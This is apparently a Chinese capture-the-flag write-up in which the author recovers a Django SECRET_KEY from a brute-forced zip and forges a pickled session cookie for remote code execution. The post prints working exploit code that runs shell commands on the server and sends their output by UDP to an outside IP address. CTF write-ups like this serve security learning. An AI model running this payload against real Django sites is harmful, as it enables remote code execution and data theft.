Gift

作者: Yix1a | 来源:发表于2019-06-12 00:01 被阅读0次
    • 打开页面一个图片,查看源码有个?user=123。试一试
    • 发现什么也没有。
    • 扫描目录扫出来了个/admin
    • 打开发现是hello 123
    • 联想之前是user=123,试一试user=Yix1a
    • 再打开admin发现变成了hello Yix1a.有意思
    • 然后没线索了,回看题目内容:

    c62s的生日礼物

    • 用github搜索这个Users,发现一个django项目。里面有个gift.zip.
    • 有密码需要生日才能打开。。
    • 直接用Advanced Archive Password Recovery爆破。8位[0-9]得出密码为20001111
    • 打开得到SECERT_KEY 为oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci
    • 熟悉django 的都知道这个django很重要的保密项
    • 找相关漏洞。
    • 得到一个任意代码执行漏洞
    # coding: utf-8
    # Django-1.5.12
    from django.contrib.sessions.serializers import PickleSerializer
    from django.core import signing
    from django.conf import settings
    
    settings.configure(SECRET_KEY='oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci') #得到的SECRET_KEY
    
    
    class GetShellWithPython(object):
        def __reduce__(self):
            import subprocess
            return (subprocess.call,    #用于连接指定的远程服务器和端口并传送命令的结果
                    (['python','-c',
                      'import socket, os;c=os.popen("ls").read().strip();'
                      's=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);'
                      's.sendto(c, ("45.63.40.88", 1000));'],))   #远程服务器和端口
    
    
    sess = signing.dumps(
        obj=GetShellWithPython(),
        serializer=PickleSerializer,
        salt='django.contrib.sessions.backends.signed_cookies'
    )
    print sess #sess为sessionid之类的东西,得到sess发出去。
    
    
    
    • 图片.png
    • 图片.png
    • 改成cat flag.txt 就得到flag{20d0b62f-0689-4cbf-a1a2-6566c4d9ee26}
    • 注意点--nc用ubuntu接受成功了。用centos下载的nc完全不行

    相关文章

      网友评论

          本文标题:Gift

          本文链接:https://www.haomeiwen.com/subject/gvsmxctx.html